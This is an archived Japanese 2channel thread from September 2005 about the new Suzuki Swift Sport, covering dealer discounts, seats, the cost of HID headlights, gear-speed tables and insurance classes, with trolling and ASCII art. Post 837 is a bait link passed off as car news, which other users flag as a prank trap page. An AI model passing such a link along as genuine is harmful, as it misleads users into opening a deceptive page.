　　　　 　 　 ｛{　 ＼ヽ- - ｧ7 /　 l　　 ヽ＼ノ /　 〈ト- (_入
　　　　　　　　＼ー　￣／/ /　　 l　　　 ヽi／　　　!「￣　 |l
　　　　　　　　　 ｀'下こ,／ /　　　 !　　　　　 　 　 / ! 　 　 !!
　　　　　　　　　　　 }ﾚ　／　　　　　　　　　　　　 /　|　　　　!i
　　　　　　　　　　 　 V´　　　　　　　　　 　 　 　 {　｜　　 　 r
　　　　　　　　　　　　{　　　　　　　　　　＼　　 　 ｢~l| 　 　 　 |
　　　　　　　　　　　　|　　　　　　　 　 　 　 ＞-ｰ┴ﾊ!　　　　｜

766 名前：名無しさん＠そうだドライブへ行こう：2005/09/24(土) 17:48:08 ID:oZ2HUQRD0

　　 ∧＿∧　　／￣￣￣￣￣
　　（　´∀｀）＜　オマエモナー
　　（　　　　） 　＼＿＿＿＿＿
　　｜ ｜　|
　　（_＿）＿）

767 名前：名無しさん＠そうだドライブへ行こう：2005/09/24(土) 17:53:36 ID:8cfqCzwj0

飲ま、飲ま、イエイ〜♪

768 名前：名無しさん＠そうだドライブへ行こう：2005/09/24(土) 18:09:44 ID:Mj6Rhpph0

ガッチンポー

769 名前：名無しさん＠そうだドライブへ行こう：2005/09/24(土) 18:30:25 ID:GOL7sXNq0

軽ベースＨＧは力尽きたか

770 名前：名無しさん＠そうだドライブへ行こう：2005/09/24(土) 18:34:13 ID:SGrTkf6Y0

>>769
そんなコト言ってると、また来るぞｗ

771 名前：名無しさん＠そうだドライブへ行こう：2005/09/24(土) 18:35:48 ID:hxuTzc8f0

透明アボンしろよ

772 名前：名無しさん＠そうだドライブへ行こう：2005/09/24(土) 19:08:53 ID:TO8+AqQQ0

峠でランエボに勝てますか？

773 名前：名無しさん＠そうだドライブへ行こう：2005/09/24(土) 19:17:28 ID:irS26TGj0

>772
聞かないでも分かるでしょ

774 名前：名無しさん＠そうだドライブへ行こう：2005/09/24(土) 19:29:24 ID:E83u8rlb0

>>680
レカロはシートポジション高くなるのは昔の話？

775 名前：名無しさん＠そうだドライブへ行こう：2005/09/24(土) 19:29:37 ID:SNcuJeUe0

ヘタレスイフトでランエボ様に勝てるわけ無い・・・
いくら恥知らずのスイフト乗りでもそのぐらい知っておいてほしい。

776 名前：名無しさん＠そうだドライブへ行こう：2005/09/24(土) 19:32:03 ID:mJf0oFRR0

AT買う予定はないけど1.5ATより出だしや加速はぐっと良くなったね。
まあ同じだったらそれはそれで問題だけど。
1→2か2→3が妙に長いというのがあったけど確かにそうかも。
シートもノーマルと同じ高さみたい。
実際内装の赤は外からはあまり見えない。
最近の車ってガラスに色が微妙に入っていて人の顔も見にくいんだよね。
ちなみに値引きは5万でした。
それでも安いなあ。
HDDナビ付ける余裕がありそうでオーディオどうするか迷う。
付けても200万以下だし。

試乗ではカーブ多いところ走れなかったのが残念でした。

777 名前：名無しさん＠そうだドライブへ行こう：2005/09/24(土) 19:45:19 ID:TgfaT1yT0

スイスポもロータリーエンジン積んだらランサーレボリューションにも勝てるよ！

778 名前：名無しさん＠そうだドライブへ行こう：2005/09/24(土) 19:46:09 ID:SqXLjM660

スイスポＭＴ青契約しますた。
値引きは５マンでしたが、アドバイスに従いごねて
＋αでフロアマットとタッチペンGETしました。

早く来ないかな♪
待ちどうしい。

779 名前：名無しさん＠そうだドライブへ行こう：2005/09/24(土) 20:17:59 ID:3sut7epA0

Ｄラーじゃ値引きもきついようですね。
業ハンで売ってる近所の整備工場に行って来ます。

１５万は、堅いか！

780 名前：名無しさん＠そうだドライブへ行こう：2005/09/24(土) 20:42:40 ID:GngFE4bC0

>>779
だから、それじゃあ赤字だって！

781 名前：名無しさん＠そうだドライブへ行こう：2005/09/24(土) 20:45:09 ID:UMt+1AES0

>>778
オメ！楽しみだねぇ。

782 名前：名無しさん＠そうだドライブへ行こう：2005/09/24(土) 20:48:35 ID:VgPQwpgG0

レカロ＆ディスチャージは欲しいけど、サイドエアバッグはいらん。

783 名前：名無しさん＠そうだドライブへ行こう：2005/09/24(土) 20:52:06 ID:5wPuI5NL0

ディスチャージだけってつけれないんですか？
社外品の方がいいかな？
ところでフロントとリアの黒メッシュっぽいトコ、なんか掃除しにくそうじゃないですか？

784 名前：名無しさん＠そうだドライブへ行こう：2005/09/24(土) 21:03:33 ID:eSPKJssI0

>>778
納車予定は何時頃？

785 名前：名無しさん＠そうだドライブへ行こう：2005/09/24(土) 21:09:42 ID:YKdwK+vF0

スイスポもう出てたのね
スズキって販売後の細かい手直しする方？ちょっと待った方がいいのかしらん？

786 名前：名無しさん＠そうだドライブへ行こう：2005/09/24(土) 21:12:52 ID:71QcbdgV0

オプションのレカロ、穴が無いんで四点式ベルト付けられないのが残念。
ディスチャージは欲しいしなぁ。

787 名前：名無しさん＠そうだドライブへ行こう：2005/09/24(土) 21:14:20 ID:mJf0oFRR0

サーキットなどのクローズド走るなら素直にフルバケット入れた方が良いと思われ。

788 名前：778：2005/09/24(土) 21:19:27 ID:SqXLjM660

>784
夕方に契約したばかりです。
オーダー入れてみないとわからないそうです。

789 名前：名無しさん＠そうだドライブへ行こう：2005/09/24(土) 21:28:38 ID:6u/eMVMT0

街中で４点は止めた方がいいでしょ

790 名前：名無しさん＠そうだドライブへ行こう：2005/09/24(土) 21:56:27 ID:yeVU+BC80

スイフト、デザインが終わってる
軽規格の全長で背が高い
最悪なデザイン

791 名前：名無しさん＠そうだドライブへ行こう：2005/09/24(土) 22:04:04 ID:ISPhHkEr0

最近は軽規格も長くなったんですねｗ

792 名前：名無しさん＠そうだドライブへ行こう：2005/09/24(土) 22:04:56 ID:kMJ65i030

790は存在そのものが終わってる(藁

793 名前：名無しさん＠そうだドライブへ行こう：2005/09/24(土) 22:11:01 ID:OG+Y00fg0

いまさらながらスイスポ徹底解説８書店まわって最後の一冊手に入れた。
ブレーキ、レスポンス、シフトフィーリングも良さそうだしセッテイング
も面白そう。かなり欲しくなってきた。
ディスチャージだけ部品取り寄せてディーラーでなんとか
付けてくれないかなぁ…

794 名前：名無しさん＠そうだドライブへ行こう：2005/09/24(土) 22:11:01 ID:27qJj8an0

軽ベース軽ベースってさ、ベースの車種は何よ？

795 名前：名無しさん＠そうだドライブへ行こう：2005/09/24(土) 22:11:39 ID:FIUFO0Yw0

なんで釣られんの？

796 名前：名無しさん＠そうだドライブへ行こう：2005/09/24(土) 22:12:40 ID:kMJ65i030

>>793
　エスクードのすべてを買った俺は、いまだにスイスポのすべてを見かけていない…。

797 名前：名無しさん＠そうだドライブへ行こう：2005/09/24(土) 22:12:54 ID:qQPOsi6l0

釣られてる奴も偽装の荒しなんだよ。無視しろ
軽をあぼーんワードにするとスッキリするお

798 名前：名無しさん＠そうだドライブへ行こう：2005/09/24(土) 22:14:47 ID:cLU7miHQ0

790ってさあ、いるよねこういうコミュニケーションとれないやつ。
でも構ってもらいたいもんだから手出してくる。でも一方通行。
なんかカワイソス

799 名前：名無しさん＠そうだドライブへ行こう：2005/09/24(土) 22:17:46 ID:5oBbnO0c0

また荒らしに餌付けしているのですか？
このスレで飼うの？本気？

800 名前：名無しさん＠そうだドライブへ行こう：2005/09/24(土) 22:18:47 ID:27qJj8an0

>>795
流れに乗った。

801 名前：名無しさん＠そうだドライブへ行こう：2005/09/24(土) 22:47:54 ID:I9Sreg4c0

ぷはは
必死やなｗ

802 名前：名無しさん＠そうだドライブへ行こう：2005/09/24(土) 22:48:25 ID:GOL7sXNq0

>>793
普通、各社純正ﾃﾞｨｽﾁｬｰｼﾞ・ﾗﾝﾌﾟﾕﾆｯﾄASSYって幾らぐらいするか知ってる？
いまどき大量生産品＆ﾗｲﾝ装着の単品設定有れば安いけど、部品として取った時の値段。

803 名前：名無しさん＠そうだドライブへ行こう：2005/09/24(土) 23:00:42 ID:OG+Y00fg0

>>802
見た目はセットオプションのが好きなんですが
やっぱり社外品とかが現実的ですかね…

804 名前：名無しさん＠そうだドライブへ行こう：2005/09/24(土) 23:03:26 ID:HGPeIlVnO

ID見てくれ

805 名前：名無しさん＠そうだドライブへ行こう：2005/09/24(土) 23:13:50 ID:GOL7sXNq0

っていうか　正式価格出たら判ると思うが通常>>802の場合、ｾｯﾄｵﾌﾟｼｮﾝ
自体を選べる値段以上になる、とりあえず現実を知った方がいいかと。

806 名前：名無しさん＠そうだドライブへ行こう：2005/09/24(土) 23:18:19 ID:3sut7epA0

Ｄラーさんが９万円くらいと言っていたよ

807 名前：名無しさん＠そうだドライブへ行こう：2005/09/24(土) 23:24:07 ID:nu5Wcydm0

近くのディーラに実車の予定がないので、
乗られた方にお聞きしたいのですが。
私は、十年以上前の古い１．６Lパルサー
に乗っているのですが、街中では、３０００
回転までしかまわさないレベルの乗り方を
しており、そのレスポンスが重要と考えてい
ます。
今度のスイスポのそのあたりはどうでしょう
か。過敏すぎない、適度なリニアリティがあ
れば、今後の購入候補としたいのですが。
この辺は、逆にノーマルのスイフトの方が、
良いんでしょうか。
（長文すいません）

808 名前：名無しさん＠そうだドライブへ行こう：2005/09/24(土) 23:25:12 ID:GOL7sXNq0

それってﾊﾞﾗｽﾄﾕﾆｯﾄ部など入ってなくて、ﾗﾝﾌﾟﾕﾆｯﾄだけでだったりして。
今気付いたんだが、ﾌﾟﾛｼﾞｪｸﾀ単発でHI・LOW切替？って国産初かな・・・

809 名前：名無しさん＠そうだドライブへ行こう：2005/09/24(土) 23:28:28 ID:27qJj8an0

ムラーノも、単体で切り替えじゃなかったっけ？

810 名前：名無しさん＠そうだドライブへ行こう：2005/09/24(土) 23:49:06 ID:qywDweYa0

>>808
他社でも結構ありますよ。

純正レカロってレカロって名前がついてるだけじゃないですかね？
旧スイフトもそうだったように。

エボとかみたいにレールのみ交換して、ローポジには出来ないっすよ、きっと。
基本的な構造はフツーの純正シートでは？

811 名前：名無しさん＠そうだドライブへ行こう：2005/09/24(土) 23:52:44 ID:+o0I8UtH0

>>802
プリメーラで純正ハロゲンヘッドライトユニットからＨＩＤユニットに総取っ替え
したこと有るけど、片側１２〜３万だった。しかもハーネス、リレー類も一部
引き直さなければならないためものすごく手間と金がかかります。
ヘッドライト取っ替えてコネクターにはめ込めば、はい終わり！
とはいきません。
部品代２０〜２５万、ハーネス類も純正ならさらに５万、＋工賃を
覚悟しておいた方がよいのでは。

>>806
ワゴンRのヘッドライトＡＳＳＹ（ハロゲン）片側で３万くらいするから、
スイスポHID片側９万は納得できますね。

電気の知識がない方がＤＩＹでヘッドライト交換すると危険ですよ。
ハーネス自作する場合、防水、線材の太さ等知らないと最悪クルマ燃えます。

812 名前：名無しさん＠そうだドライブへ行こう：2005/09/24(土) 23:53:04 ID:YIODajC90

腰が痛くならなければ純正でもなんでも

813 名前：名無しさん＠そうだドライブへ行こう：2005/09/25(日) 00:07:02 ID:42UsxwgE0

スイスポにフルバケ入れる予定の香具師はシートレールどうするの？ワンオフ？
前の車のフルバケ取ってあるんだけど、スズスポのレールはセミバケ用だからなぁ・・・

814 名前：名無しさん＠そうだドライブへ行こう：2005/09/25(日) 00:30:09 ID:VY6l9bUp0

i｀ヽ　　　　　　　　　　　　　 　　　 　 　 　 ,r‐'ァ
　｀ヽハードケイ　　フォーーー
　　　　　　　
　　 ヽ ヽ　　　　　 　 , -‐--､ 　　　　　 　 /　/
　　 　ヽ　＼　　　 　 I:：：：：：:I_ 　　　 　_ /　/
　　　　 ヽ　 ヽ　　　 i,(;;;ﾉI､;;;)l　　　 ,,／　 , '
　　　　 　ヽ 　` ｰ ､.,,ゝ´ヮ｀,ﾉｭ_, - '　　 r'
　　　　　 　 ` ､_ ／：:: `山'::::：　　 　／
　　 　　　　　　ヽ：::::::::::|:::::::："",r‐'
　　　　　　　　　 〉::::::::|::::::::::¨/
フォ────　/;;;;;;;/;;;;;;;;;;/ ─────────！！！！！
　　　　　　　　/;;;;;;;/:::::::::::《
　　　　　((　<;;;;;;;《:::::::::::::ヽ 　))
　　　　　 ／ 　 ヽI,rつ""^~ヽ
　　　　 /　　　,／　ヽ　　　　ヽ

815 名前：名無しさん＠そうだドライブへ行こう：2005/09/25(日) 00:31:56 ID:REDgcAOx0

純正シートだけど悪くないよ。
問題は、へたりの早さだね。
買った時は良くても半年もしないウチに柔になっちゃうこともある。
こればかりは、買ってみなければ分からない

816 名前：名無しさん＠そうだドライブへ行こう：2005/09/25(日) 00:45:50 ID:sDcqduWV0

>>811
バッ直にするのは当たり前だし、そのためにリレーを入れるのも当たり前。
そんな作業で手間なんて言わない。

全部の作業をディーラーでやったのか？
たかがHID換装で２５ﾏﾝもしないよ。

817 名前：名無しさん＠そうだドライブへ行こう：2005/09/25(日) 01:11:07 ID:L261WW6J0

>>816　811じゃないけど
マルチリフレクタの単発ヘッドライトASSYタイプは25万もしない。
ポジション・ウインカー・プロジェクタヘッドライト・(フォグ)など一体タイプ
＋バラスト等周辺使用部品は、勿論車種によるけど部品代だけで20万程度が一般的だよ。

818 名前：名無しさん＠そうだドライブへ行こう：2005/09/25(日) 01:21:22 ID:5nEmO9za0

セットオプション付けると170万超えちゃうんだよねぇ、こんだけ高くなると
マーチ12SRやヴィッツTRDも考えちゃうよ。旧型が安すぎたのかなぁ。

819 名前：名無しさん＠そうだドライブへ行こう：2005/09/25(日) 01:26:38 ID:XaQZs1QU0

マーチ12SRはボッタクリに近いだろw

820 名前：名無しさん＠そうだドライブへ行こう：2005/09/25(日) 01:41:37 ID:REDgcAOx0

何がボッタクリかな？

821 名前：名無しさん＠そうだドライブへ行こう：2005/09/25(日) 01:45:16 ID:uuWlF0Af0

>>816
純正新品のＨＩＤヘッドライトハウジングの値段は両方併せて２０万超えは普通だよ。
ノーマル（ハロゲン）ヘッドライトハウジングにＨＩＤバーナーとバラストを
組み込むだけと勘違いしてない？
ハウジング丸ごと交換するときの値段だよ。

822 名前：名無しさん＠そうだドライブへ行こう：2005/09/25(日) 01:46:03 ID:h8sITW+Z0

>>818
オレはそれも考えたんだけど、12SRにスイフトと同等になるくらいにオプションを加えたら
かなりな値段になった。（オートエアコン等々を加えた）
このあたりを考えなかったらほぼ同じような値段になるが装備は悪い。

823 名前：名無しさん＠そうだドライブへ行こう：2005/09/25(日) 01:47:01 ID:qZbGuqlK0

標準車のメーカー希望価格なら、ヴィッツRSより安いんだけどな
つか、12SRにレカロ付けたりしたら幾らになる？ｗ

824 名前：名無しさん＠そうだドライブへ行こう：2005/09/25(日) 02:17:33 ID:lpqczSL30

ﾃﾞｨｽﾁｬｰｼﾞﾍｯﾄﾞﾗｲﾄは単体では売ってないの？・・・何度も質問されてることだと思うけど、全く
同じじゃなくて良いけど、それと同等、もしくはそれ並みの能力のライトは？・・・
あのｽｲﾌﾄ用のやつ・・・どこだっけ出してたの。あれはつくの？・・・言ってること全然意味不明だったら
ｽﾏｿ。･･･_orz　とにかくセットオプションに変わるやつ。

825 名前：名無しさん＠そうだドライブへ行こう：2005/09/25(日) 02:26:15 ID:L261WW6J0

とりあえず>>803>>817>>821を良く読んで、わからなければｷｰﾜｰﾄﾞ拾って検索した方がいい

826 名前：名無しさん＠そうだドライブへ行こう：2005/09/25(日) 02:59:50 ID:WVxgwuzYO

雪国だから、HID(ﾟ�听)ｲﾗﾈ
ヘッドライトの雪がとけないらしいし
それよりも、４ＷＤﾎｽｨ…(´･ω･`)
邪道ですか、そうですか

827 名前：名無しさん＠そうだドライブへ行こう：2005/09/25(日) 03:07:53 ID:pXYUBjhu0

最近ディスチャージヘッドランプを欲しがる人が増えましたね
日本もヘッドランプウオッシャーの義務付けがくるかな

828 名前：名無しさん＠そうだドライブへ行こう：2005/09/25(日) 03:14:47 ID:5nEmO9za0

新型スイスポ、JWRCマシンとイメージが全然違うんだよなぁ。
これだけで購買意欲がかなり薄れたよ。

829 名前：名無しさん＠そうだドライブへ行こう：2005/09/25(日) 03:32:23 ID:zIHd03u10

転寝しながら理論値を計算、全然違うかも　タイヤはDNA GP、でも負荷補正するの忘れた・・・お目汚し失礼ｵﾔｽﾐ
MT
　　1500　　2000　　2250　　2500　　2750　　3000　　3500　　4000　　4750　|　6750 rpm
1　　11.4 　　15.2 　　17.1 　　19.0 　　20.9 　　22.8 　　26.6 　　30.4 　　36.1　|　51.4
2　　21.2 　　28.3 　　31.9 　　35.4 　　39.0 　　42.5 　　49.6 　　56.7 　　67.3　|　95.6
3　　28.8 　　38.3 　　43.1 　　47.9 　　52.7 　　57.5 　　67.1 　　76.7 　　91.1　|　129.4
4　　38.0 　　50.7 　　57.0 　　63.4 　　69.7 　　76.1 　　88.7 　 101.4 　 120.4　| 171.1
5　　45.7 　　61.0 　　68.6 　　76.2 　　83.8 　　91.4 　 106.7　　121.9 　 144.8　| 205.7

AT
　　1500　　2000　　2250　　2500　　2750　　3000　　3500　　4000　　4750　|　6750 rpm
1　　13.6 　　18.2 　　20.4 　　22.7 　　25.0 　　27.2 　　31.8 　　36.3 　　43.1　|　61.3
2　　25.0 　　33.3 　　37.5 　　41.6 　　45.8 　　50.0 　　58.3 　　66.6 　　79.1　| 112.4
3　　39.2 　　52.2 　　58.7 　　65.3 　　71.8 　　78.3 　　91.4 　 104.4 　124.0　| 176.2
4　　56.2 　　74.9 　　84.3 　　93.6 　 103.0 　 112.4　 131.1 　 149.8 　177.9　| 252.9

830 名前：名無しさん＠そうだドライブへ行こう：2005/09/25(日) 03:36:35 ID:WVxgwuzYO

>>828
うん
正直、ノーマルスイフトのデザインのが良いというのは、既出なんだろうけど
スイフトスポーツが、他のメーカーのコンパクトスポーツモデルと
エクステリアに関しては同じ方向性を感じる
スポーツだろ、みたいなイヤらしさ
ＪＷＲＣのスイフトみたいな機能美っていうヤツがないのが欠点だと思う

831 名前：名無しさん＠そうだドライブへ行こう：2005/09/25(日) 03:38:34 ID:vehskGEp0

>>827
その前に各メーカーに実績挙がっていったところの判断で、
自主的にセットOPT化や寒冷地仕様と絡ませたりが先かと。

832 名前：名無しさん＠そうだドライブへ行こう：2005/09/25(日) 03:47:40 ID:K4oFLSTp0

>>828
ラアンがカーボンのレプリカボディ作るから金貯めとけ

833 名前：名無しさん＠そうだドライブへ行こう：2005/09/25(日) 03:51:28 ID:c1qrhht/0

HIDつけたけれど、この交換部品価格だと接触事故でも、
被害が大きくなりそう。今まで、幸い事故に遭わなかった
からいいものの、車両保険に入ろう。

834 名前：名無しさん＠そうだドライブへ行こう：2005/09/25(日) 06:16:52 ID:Df74i5i+0

なんちゃってレカロはどうでもいいがディスチャージは標準で付けろよスズキ！！
あと足がいいとかインプレされてたがセールスと近くのカーブの多い道に行ったら結構ロールしてコシが有るようで無い。
4ATも正直坂道で違和感の有るセッティング・・・5MTのシフトフィールは大丈夫なのか？
あと、セールスが｢この車グリーン税優遇ありません｣って・・・少しはカタログ見ろよ・・。

835 名前：名無しさん＠そうだドライブへ行こう：2005/09/25(日) 07:21:41 ID:qZbGuqlK0

>>834
それって、遠回しに年内登録出来ないって言ってるのかもよｗ

836 名前：778：2005/09/25(日) 08:28:24 ID:QDXo4MyA0

＞834
乗ったことないので、車の評論を拾ってみると。

●ドライバー誌のｐ27　
　・シフトフィール　　ややフランス車的シフトフィール
　　　　　　　　　　　　　たぶん、初代よりも良くない（ワイヤーにテフロン加工したから？）。　
　　　　　　　　スズスポの開発予定にクイックシフト（いまどき珍しい）あるから、
　　　　　　　　味を落としてあるのかな？

●http://takumi-yoshida901.way-nifty.com/start/2005/09/post_d45a.html
　・オーバーサーボ気味でリニアリティに欠けるブレーキ
　・ヒール＆トゥに適さないスロットルペダル
　・ヒップポイントの高すぎるシート

●http://allabout.co.jp/auto/japanesecar/closeup/CU20050909A/index.htm
　・柔らかいブッシュとマウント　スズスポのを買えってか？

けど契約しました。(　´∀｀) 早く来ないかな〜♪

837 名前：名無しさん＠そうだドライブへ行こう：2005/09/25(日) 10:16:59 ID:Wth83oDt0

http://www.hellplant.org/cgi-bin/xoor/serpent.cgi
MTバージョンきた〜〜〜〜〜〜〜〜〜〜

838 名前：名無しさん＠そうだドライブへ行こう：2005/09/25(日) 10:28:21 ID:REDgcAOx0

↑【837を開くな】

ID:Wth83oDt0を裏家業屋に末札以来しまｽﾀ。

839 名前：名無しさん＠そうだドライブへ行こう：2005/09/25(日) 10:29:31 ID:8gjLcCfn0

厨ホイかよw

840 名前：名無しさん＠そうだドライブへ行こう：2005/09/25(日) 10:39:56 ID:T9GCjG4A0

>>837って何？

841 名前：778：2005/09/25(日) 11:28:27 ID:QDXo4MyA0

スタッドレスのホイール買うので
客相に、新型スイスポのハブ径は何ミリですかってって聞いたら、
わかりません、自分で測ってくださいって言われたよ。

さすがスズキクオリテイ！感心した。orz

842 名前：名無しさん＠そうだドライブへ行こう：2005/09/25(日) 11:29:40 ID:REDgcAOx0

837は、ハード軽ＨＧだ。
数日中にどぶ川に浮かぶだろう。

843 名前：名無しさん＠そうだドライブへ行こう：2005/09/25(日) 11:42:54 ID:OqyVCRSL0

＞結構ロールしてコシが有るようで無い。
軽ベースの特徴が出たみたいだな。

844 名前：名無しさん＠そうだドライブへ行こう：2005/09/25(日) 11:56:35 ID:x7EPEzig0

>>830
そういうことだ。
スイフトスポーツ≠JWRCマスク≒ノーマルスイフト
つまり、莫大な資金を費やして開発した結果、ノーマルスイフトのフロントマスクの方が性能が良いが
「性能を落としてもスイスポは分かり易いスポーツ系の見た目にした方がド素人にはウケルだろ？（笑」
とメーカーに舐められているということ。

845 名前：名無しさん＠そうだドライブへ行こう：2005/09/25(日) 12:15:18 ID:REDgcAOx0

>>844

奴素人だからスイスポを買うのだよ

とんだ勘違い野郎だな

846 名前：名無しさん＠そうだドライブへ行こう：2005/09/25(日) 13:17:02 ID:0b1p+bmo0

フロントスポイラーか？
性能は悪い、質感が無い、ガキっぽい、と悪いことづくめだな。
これをスポーツカーとして売るスズキもスポーツカーだと勘違いして買う人間も
ミジメすぎて同情してしまうよ。

847 名前：名無しさん＠そうだドライブへ行こう：2005/09/25(日) 13:45:33 ID:TcN1m0qU0

スイスポのアレは、風洞実験の結果生まれた形状なんだが、どうせ日本で真価を発揮する機会なんて
ないんだよな。スポイラーなんて。

848 名前：名無しさん＠そうだドライブへ行こう：2005/09/25(日) 13:58:19 ID:8gjLcCfn0

ドイツ風、だろ？

849 名前：名無しさん＠そうだドライブへ行こう：2005/09/25(日) 14:04:01 ID:KbO/HQcx0

愛知博の閉会式やってますね。自分は開幕２日目に行きました。

ところで新スイスポのステアリングギア比はノーマルと比べて速くなってるのでしょうか。

850 名前：名無しさん＠そうだドライブへ行こう：2005/09/25(日) 14:30:16 ID:x2BzS6YF0

>>846
スポーツカーなんて言ってるのおまえだけだ。バカ。

851 名前：名無しさん＠そうだドライブへ行こう：2005/09/25(日) 14:49:49 ID:fmtRozRZ0

>>850
え、違うのか？
んじゃ何コレ？

デザインが下品で燃費が悪くハイオク使用で後室が狭い。更に乗り心地まで悪いファミリーカー？
存在価値が無いんでは？

852 名前：名無しさん＠そうだドライブへ行こう：2005/09/25(日) 14:50:40 ID:Qe+kTYiH0

>>837
これ凄いね
さすが鈴木

853 名前：名無しさん＠そうだドライブへ行こう：2005/09/25(日) 14:58:14 ID:K4oFLSTp0

837はアドレス見た時点で開かんだろw

854 名前：名無しさん＠そうだドライブへ行こう：2005/09/25(日) 15:07:03 ID:M7qS+SlG0

>>829
負荷無視しすぎだ。だが逆いえばそれ以上は出ないともいえるな。
4750回転と6750回転は？トルクピーク？とりあえず無駄な努力乙。

855 名前：名無しさん＠そうだドライブへ行こう：2005/09/25(日) 15:14:15 ID:3jX21ZS20

カタログ貰ってきた
パーツ単位で高回転がウンヌンって書いてる割にはレッドが思ったほど高くないのね
それでもあっという間に吹け上がる位の元気があればいいけど・・・・・・

856 名前：名無しさん＠そうだドライブへ行こう：2005/09/25(日) 16:10:25 ID:VXu6Tq5N0

気持ちよくレッドまでまわるか、だよ。
Ｓ２０００みたいに無理してギンギンにまわしゃ良いってもんじゃないだろ。ＮＡは。
（と、試乗もしてないのに言ってみるテｓ

857 名前：名無しさん＠そうだドライブへ行こう：2005/09/25(日) 16:13:03 ID:qczAJ5cA0

アクセラスポーツとどちらにしようかと悩んでいる。
重心が低いのはどちらか、着座位置が高いのはどちらかなぁ。
ただ、アクセラはもう少しちいさければなぁ。
シビックも５ドア出さないし、このくらいしか選択肢がない。

858 名前：名無しさん＠そうだドライブへ行こう：2005/09/25(日) 16:14:07 ID:/YaIjz620

なんかカタログの数字云々だ、デザインがあーだこーだとみなさんイロイロ言いたいことも
あるでしょうが、現在のスズキが出した”スイフのスポーツ”が、コレってことなんでしょうね。
モーターショーに向けて隠し玉があるかもしれませんが。
（ずーと隠し玉になっちゃうか）

逆に折角スズキが出すなら、と期待なところが多多あるのも事実。
でも、４輪と２輪てつながりあるんでしょうかね。
案外無いんじゃないでしょうか。

859 名前：名無しさん＠そうだドライブへ行こう：2005/09/25(日) 16:34:35 ID:besKZRak0

FIT乗りだけど、インテSと迷っている。デザインはインテの方が好みだけど、
いかんせんでかすぎるんだよなぁ。シビックのHBが出てれば・・・。

860 名前：名無しさん＠そうだドライブへ行こう：2005/09/25(日) 16:53:57 ID:bE8FykeD0

a

861 名前：名無しさん＠そうだドライブへ行こう：2005/09/25(日) 17:00:28 ID:9tlfxSCW0

どっちも糞だよね。
インテSはミニバンエンジン、方や専用エンジンだが低スペックのコンパクトカー。

862 名前：名無しさん＠そうだドライブへ行こう：2005/09/25(日) 17:06:59 ID:VXu6Tq5N0

そんな嫉妬すんなって。
スイスポが出る直前に、861が糞車を買っちゃったからって。
それ売ってスイスポ買う後押しが欲しいのか？

863 名前：名無しさん＠そうだドライブへ行こう：2005/09/25(日) 17:25:48 ID:hyWOPnd50

スイスポは任意保険の等級とか低いですか？
インテＲは加入すら断られました

864 名前：名無しさん＠そうだドライブへ行こう：2005/09/25(日) 17:33:25 ID:VY6l9bUp0

＼＿／￣￣＼_／|
　　　　　 ＼＿|　 ▼　▼|_／
　　　　　　　　 ＼　 皿 ／　　　
　　　　　　　　／ 　　　＼　　　　　
　　　 　.　 　　| | 　ﾏﾓﾉ| |

865 名前：名無しさん＠そうだドライブへ行こう：2005/09/25(日) 17:42:15 ID:eWY9+b9aO

インテRは任意保険に入れないだって！？
インテRには絶対ひかれないようにしなきゃ！



ってそんなアホな！

866 名前：名無しさん＠そうだドライブへ行こう：2005/09/25(日) 17:58:21 ID:lfsqP4810

>>863
インテＲは車両９等級かな
確かに保険会社によっては断られるね
でも有名どころでも何社かは受けてくれる

スイスポの場合旧スイスポオーナーがよほど
事故って無い限りそれほど高いことはないでしょう

867 名前：名無しさん＠そうだドライブへ行こう：2005/09/25(日) 18:23:31 ID:DoV4x/1z0

リスクに応じたものになるからね、事故件数に比例して値段が上がるわな。
スイフトで自爆した人は少ないから、まだ安いんじゃない？
小型のファミリーカー程度のリスクだと思う。

868 名前：名無しさん＠そうだドライブへ行こう：2005/09/25(日) 18:27:05 ID:VXu6Tq5N0

旧スイスポはどのくらいの等級だろう。
てか、やっとまともな流れになってきた。

869 名前：名無しさん＠そうだドライブへ行こう：2005/09/25(日) 18:43:09 ID:e4sd6U6z0

つ【自動車保険料率クラス検索】
http://www.hosyou.com/sonpo/class/

870 名前：名無しさん＠そうだドライブへ行こう：2005/09/25(日) 18:46:45 ID:VXu6Tq5N0

スズキ スイフト HT81S 4 4 4 5 A 1500 スポーツ
トヨタ カローラ AE95 4 5 6 6 B

カローラ並みか、それ以下…。

871 名前：名無しさん＠そうだドライブへ行こう：2005/09/25(日) 18:52:16 ID:hyWOPnd50

よしタイプＲ売ってスイスポ買う

872 名前：名無しさん＠そうだドライブへ行こう：2005/09/25(日) 18:52:50 ID:REDgcAOx0

スイスポ乗りで無茶する奴はいないとおもう

873 名前：名無しさん＠そうだドライブへ行こう：2005/09/25(日) 18:58:12 ID:hyWOPnd50

それって車高が高くて曲がらんからですか？無茶しようにも出来ない仕組み。
ＶＴＥＣが無いから回す気にもなれないとか

874 名前：名無しさん＠そうだドライブへ行こう：2005/09/25(日) 19:04:46 ID:kCgO/EVR0

なんでハイオク仕様の猿人なのにえらく低スペックな猿人なの？

125ps／15.1kgmなんてホンダのファミリカーに使われてるSOHCﾚｷﾞｭﾗｰ仕様に負けてるじゃん
燃費も悪いし、なめてるとしか思えないよ

875 名前：名無しさん＠そうだドライブへ行こう：2005/09/25(日) 19:07:31 ID:uDQ1TUj40

こんな頭でっかちが乗るから等級が上がるんだろうな
タイプRは…

876 名前：名無しさん＠そうだドライブへ行こう：2005/09/25(日) 19:13:35 ID:COxhrcBs0

>>874
数値だけ見ると(ﾟДﾟ)ﾊｧ?だが
実際、試乗してみると凄さがわかる。

877 名前：名無しさん＠そうだドライブへ行こう：2005/09/25(日) 19:14:48 ID:hyWOPnd50

>>８７４
私は煽ってるわけではないよ
ロドスタだってＶＴＥＣなんていらないおもしろさがあるというし
もしスイスポにもそういう面があるならとても良いと思う
でもスイスポ乗りは説明不足だと思う
ちょっと馬力のこと言われただけでカーっとなって
スイスポなりのおもしろさをおせーて

878 名前：名無しさん＠そうだドライブへ行こう：2005/09/25(日) 19:23:02 ID:lfsqP4810

スイスポもせめて６５０馬力あれば・・・

＃連休つかって湾岸MIDNIGHT読破

879 名前：名無しさん＠そうだドライブへ行こう：2005/09/25(日) 19:23:32 ID:REDgcAOx0

排ガス規制をクリアする為にやむなくあのスペックになったらしいよ

880 名前：名無しさん＠そうだドライブへ行こう：2005/09/25(日) 19:25:41 ID:kCgO/EVR0

ていうかあんなファミリーカーのような平凡な数字だったら別にハイオク仕様の猿人にする必要はなかったのでは？

881 名前：名無しさん＠そうだドライブへ行こう：2005/09/25(日) 19:26:22 ID:qK286oFE0

>>877
オーナーの意見聞きたいなら、まだ早いかな。
